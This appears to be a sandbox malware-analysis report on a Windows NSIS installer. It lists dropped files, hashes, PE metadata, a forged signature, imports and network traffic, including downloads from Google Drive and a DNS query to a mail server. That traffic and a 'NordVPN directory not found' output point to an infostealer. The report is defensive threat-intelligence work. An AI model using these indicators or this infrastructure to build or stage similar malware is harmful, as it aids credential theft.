SHA-256:	DCF5CCF55CD3A0C22D7E1E15BA74A77E87564C5378213930531957E837BCFFD0
SHA-512:	A123F0270240DAB31EDDE187B52534B032534A993DF5DC3C023F47DF22DD13CDD4875894180D7CA5A7D58A8341BE03B193D645DBE6C5355F0A8C813052D6C746
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...=N.1.../.....4.. w..)....\!G...S.p...:D.. %.6El.Z..2.H.7.yoms.=..d....f.s.4g.%.&.]$.uK+.I6...Z.*....8.yA?.M..9.u..j.Q..4 .L..aY.{.o!...]&..mb..:.bQ...m.gP....N..??..?.pVK....... \|7A.v...7...j..../xm.....U..}......IEND.B`.

C:\Users\user\AppData\Local\Temp\printer-network.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.445534026139213
Encrypted:	false
SSDEEP:	12:6v/7wtZNGfN/qk9eell0BA5Q8nokd/XaaURqN7C8qDUJ01D8/MS+BFdCkAQ:XtvGV/SslL5Q68MN2jDvAKZCNQ
MD5:	B344495C567F359D8A722E788409C26B
SHA1:	B599EB3F171E4EB856BBC28E8BE4F50975ACBC32
SHA-256:	DA4223F95FA7D4A484C1CA675BB8BD4F6DDEEB0F274A4F32616655189033E5C2
SHA-512:	658E0F63022AB10538D7921FC98994200397F73A7FB63100278A955925AB5B9DE6CA2652061FD82704319613596DECC0A76C21DFD3B968947518AAD6465225E1
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs..........+......tEXtSoftware.www.inkscape.org..<.....tEXtAuthor.Lapo Calamandrei.....'tEXtDescription.Based of Jakub Steiner work.)8_...JIDAT8....OTA.......U..\.0a..m..X.....:..1$."1.D..k...YP`C...@...A.. ....{w,`.P.....\|..w...0.j..J>.Z.S...\|.......lb.tD..lvo......@?..0I..F).R...Q...Y).P.......A)E&..c+_<{y.@<~.4..\|.8mm......E...I..)%Ji66.POS.&.Oa.K.?.\|.$F.>s...P)...+P.....f..:.M..s.lll2>.......6..,//..f..p3.[.X-.v...ccoy36......C.cA.......o....J....c,.:.c.{.'.........n....... .8.%l%..`.u.B.q....R..=='Ck....D..[g).........@..><..~.Wk...4...... M....PJ4.VWW.V..d.Y.(.z..y>KK..b{.....:J.& ...G'...!c.....I../."a..;B......_.V.r9\|?.,(.J.j..F..^.......c.7.u...........R........D20......N.n?..phpp.........j....IEND.B`.

C:\Users\user\AppData\Local\Temp\selection-end-symbolic-rtl.symbolic.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	142
Entropy (8bit):	5.583604569229667
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAnsrtxBllBM9JT8J6yjjJmS/PB3eD0bdR1rrF/1p:6v/lhPysz8JYJvf/lc0bTxzp
MD5:	B361CAD290962835529009E96E49CC9F
SHA1:	2E29CB53B9B3BD6A433FB2C50950288E321AE551
SHA-256:	AB86F801B5ED71C581E2A68B6E052953C6B5B95DFBC617A117DEA9B084429618
SHA-512:	3100203CE8A3D2DE5717EDC0D67A1BC47CB2C78CE5EFFEE51327EA0AE71F4945188ABAD9AF49E5D8BD78F3B6B5807692975537B49873F601C9AA9F49DD25887C
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d....EIDAT8.c`.../....,..]!...`....TRj0...C....H.!dy......f....D.p.j.!(=....S..........IEND.B`.

C:\Users\user\AppData\Local\Temp\value-increase-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	113
Entropy (8bit):	5.322830648467957
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAnsrtxBllRxdh9TFaxedVjtNOh99bXDgpaGp:6v/lhPysfnTF6QROripxp
MD5:	2D78FF1482A10EA250A500C55EDB7A4D
SHA1:	02DC306A0B14673185941637E78C3E0115F3BADC
SHA-256:	EA88C0E8743471267DB4183A75E6122CE10062EF396ABEAE5C0BC4FD2D65A6F1
SHA-512:	2EB3D54E72CFF8B061676AA791D021464777FEA77E5D6424B8DE9A78C8E32D894ED164C096FC150C7B0E4D46A8B31C75B54A72C2DB02DECAECB8E555D39993A0
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d....(IDAT8.c`...?...L..0..0......>.]@...X........S.w....IEND.B`.

C:\Users\user\AppData\Local\Temp\zoom-out-symbolic.svg

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	SVG Scalable Vector Graphics image
Category:	modified
Size (bytes):	335
Entropy (8bit):	4.737555359684875
Encrypted:	false
SSDEEP:	6:TMVBd/6o8GUYl/n7S3mc4slZRI2rjFvRbWHFHUHFvCpifW1IUHFBLJZtSKlNK+:TMHdPnnl/nu3i2FZ484sIBLjdlj
MD5:	C05C42CB3D95BF3BC7F49CCD8DCCA510
SHA1:	20442E344E95508586B1B2A7B4C6272C3F5C86F8
SHA-256:	695554CE5F23A275D3C25C27410D0CFBF8A83156807DAA3A601635E4E5D8AED0
SHA-512:	0EC19BBA7B5032670524965A8C55D8C6401F833000880DE1C0F74A5EAA4E302B0CE3E60218F3DDB95CB3E1EA7374A197CB71682526DFF910D9A6CF35FF971BB6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">. <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.660156 -1.339844 -3 -3 -3 z m 0 6 h 8 v 2 h -8 z m 0 0" fill="#2e3436"/>.</svg>.

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Preview:	NordVPN directory not found!..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.124578250940887
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FRACCIONAMIENTO 1722403906461L.exe
File size:	125736
MD5:	04e8c57a5df1834c590c49ccc8734d6e
SHA1:	b53b20975776cc58ed77d8bfff905303aa84391e
SHA256:	345aa66f6945c8fadee442f115591eaa694196c3ec207246814b5c90ab39df0a
SHA512:	fdd62abfed177e5d45be7ba8d185e8c955605e05674a05f899a1a7ee11eb60898dfe0cb6be9392b1b71700ca3e27e51e4c18bf55975a4a8f5acf159185b43d15
SSDEEP:	3072:dfY/TU9fE9PEtu4IEOa8jDbD2yJEmR2qMQh1pzScoTB:BYa6PaaDNms1Z4d
TLSH:	73C3B0187F64C527D85A4270096747E65EF5ED118850A39F2360ABAE3CB3242BB1F3DB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*.....

File Icon


Icon Hash:	f89c9e8eaeb3f162

Static PE Info

General

Entrypoint:	0x403640
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x614F9B1F [Sat Sep 25 21:56:47 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	61259b55b8912888e90f516ca08dc514

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=PRIMEVOUS@tinkturen.Non, CN=ULIGELNNEN, OU=Peritropal, O=Craggiest7, L=ANFALDENES, S=SULPHONATE, C=MR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	20/04/2022 02:35:53 20/04/2023 02:35:53
Subject Chain	E=PRIMEVOUS@tinkturen.Non, CN=ULIGELNNEN, OU=Peritropal, O=Craggiest7, L=ANFALDENES, S=SULPHONATE, C=MR
Version:	3
Thumbprint MD5:	E4BFB521658CD7B3034F27E18D2A5D0F
Thumbprint SHA-1:	2ECBD5255612406BEE49C9664C97CD33AD373599
Thumbprint SHA-256:	F05E501D2E2A047E9752DDB3D0CE3F55FB13505223FA83A8DB6AFCB3481C07BD
Serial:	00

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A230h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080C8h]
mov esi, dword ptr [004080CCh]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007FE7ECE009FAh
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007FE7ECE009CAh
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [0042A318h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x51000	0x8860	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1d1c0	0x1968	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6676	0x6800	False	0.656813401442	data	6.41745998719	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x139a	0x1400	False	0.4498046875	data	5.14106681717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20378	0x600	False	0.509765625	data	4.11058212765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x2b000	0x26000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x51000	0x8860	0x8a00	False	0.405712182971	data	5.18891166126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_BITMAP	0x514c0	0x368	data	English	United States
RT_ICON	0x51828	0x25a8	data	English	United States
RT_ICON	0x53dd0	0x10a8	data	English	United States
RT_ICON	0x54e78	0xea8	data	English	United States
RT_ICON	0x55d20	0x988	data	English	United States
RT_ICON	0x566a8	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0	English	United States
RT_ICON	0x56f50	0x6c8	data	English	United States
RT_ICON	0x57618	0x668	data	English	United States
RT_ICON	0x57c80	0x568	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x581e8	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x58650	0x2e8	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 2289596279, next used block 2022213768	English	United States
RT_ICON	0x58938	0x1e8	data	English	United States
RT_ICON	0x58b20	0x128	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0x58c48	0xb8	data	English	United States
RT_DIALOG	0x58d00	0x144	data	English	United States
RT_DIALOG	0x58e48	0x13c	data	English	United States
RT_DIALOG	0x58f88	0x100	data	English	United States
RT_DIALOG	0x59088	0x11c	data	English	United States
RT_DIALOG	0x591a8	0x60	data	English	United States
RT_GROUP_ICON	0x59208	0xae	data	English	United States
RT_VERSION	0x592b8	0x268	MS Windows COFF Motorola 68000 object file	English	United States
RT_MANIFEST	0x59520	0x33e	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Version Infos

Description	Data
LegalCopyright	Premoltbrevvek
FileVersion	9.21.27
CompanyName	Zincl
LegalTrademarks	Blepharocol
Comments	lasciv
ProductName	Akseltap182
FileDescription	Bagepulveretsu254
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2022 15:29:16.229190111 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.229260921 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.229892969 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.253274918 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.253319979 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.309000969 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.309259892 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.310614109 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.310800076 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.420459032 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.420488119 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.420995951 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:16.421143055 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.424530983 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:16.467999935 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.410064936 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.410218954 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.410270929 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.410433054 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.410481930 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.410578966 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.410669088 CEST	49753	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.410705090 CEST	443	49753	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.631381035 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.631503105 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.631784916 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.632014990 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.632060051 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.665429115 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:23.665654898 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.665967941 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.666099072 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:23.666344881 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.079433918 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.079588890 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.079854012 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.080050945 CEST	49755	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.080084085 CEST	443	49755	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.286062956 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.286111116 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.286339045 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.286813021 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.286839008 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.322854042 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:32.323096991 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.323513031 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.323682070 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:32.323853970 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.486867905 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.487034082 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.487088919 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.487133980 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.487296104 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.487365961 CEST	49756	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.487412930 CEST	443	49756	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.737071991 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.737154007 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.737309933 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.737714052 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.737746000 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.771506071 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:41.771723986 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.772106886 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.772283077 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:41.772387028 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.372033119 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.372185946 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.372246981 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.372437954 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.372481108 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.372584105 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.372714043 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.372805119 CEST	49762	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.372858047 CEST	443	49762	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.484947920 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.485039949 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.485321045 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.485534906 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.485580921 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.522346020 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:51.522557974 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.522874117 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.523063898 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:51.523245096 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:56.742300034 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:56.742558956 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:56.742719889 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:56.743062973 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:56.743135929 CEST	49764	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:56.743195057 CEST	443	49764	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:57.030141115 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.030257940 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:57.030420065 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.030787945 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.030853987 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:57.063716888 CEST	443	49766	142.250.186.174	192.168.11.20
Apr 20, 2022 15:29:57.063949108 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.064419985 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.064729929 CEST	49766	443	192.168.11.20	142.250.186.174
Apr 20, 2022 15:29:57.064831972 CEST	443	49766	142.250.186.174	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2022 15:29:16.207772017 CEST	57663	53	192.168.11.20	1.1.1.1
Apr 20, 2022 15:29:16.217447996 CEST	53	57663	1.1.1.1	192.168.11.20
Apr 20, 2022 15:31:40.439130068 CEST	53427	53	192.168.11.20	1.1.1.1
Apr 20, 2022 15:31:40.479346037 CEST	53	53427	1.1.1.1	192.168.11.20
Apr 20, 2022 15:31:52.505007982 CEST	55377	53	192.168.11.20	1.1.1.1
Apr 20, 2022 15:31:52.551414013 CEST	53	55377	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 20, 2022 15:29:16.207772017 CEST	192.168.11.20	1.1.1.1	0xf976	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Apr 20, 2022 15:31:40.439130068 CEST	192.168.11.20	1.1.1.1	0xd789	Standard query (0)	doc-0c-74-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Apr 20, 2022 15:31:52.505007982 CEST	192.168.11.20	1.1.1.1	0x3997	Standard query (0)	mail.ferdi.hu	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 20, 2022 15:29:16.217447996 CEST	1.1.1.1	192.168.11.20	0xf976	No error (0)	drive.google.com		142.250.186.174	A (IP address)	IN (0x0001)
Apr 20, 2022 15:31:40.479346037 CEST	1.1.1.1	192.168.11.20	0xd789	No error (0)	doc-0c-74-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Apr 20, 2022 15:31:40.479346037 CEST	1.1.1.1	192.168.11.20	0xd789	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.97	A (IP address)	IN (0x0001)
Apr 20, 2022 15:31:52.551414013 CEST	1.1.1.1	192.168.11.20	0x3997	No error (0)	mail.ferdi.hu		185.51.191.23	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-0c-74-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49753	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
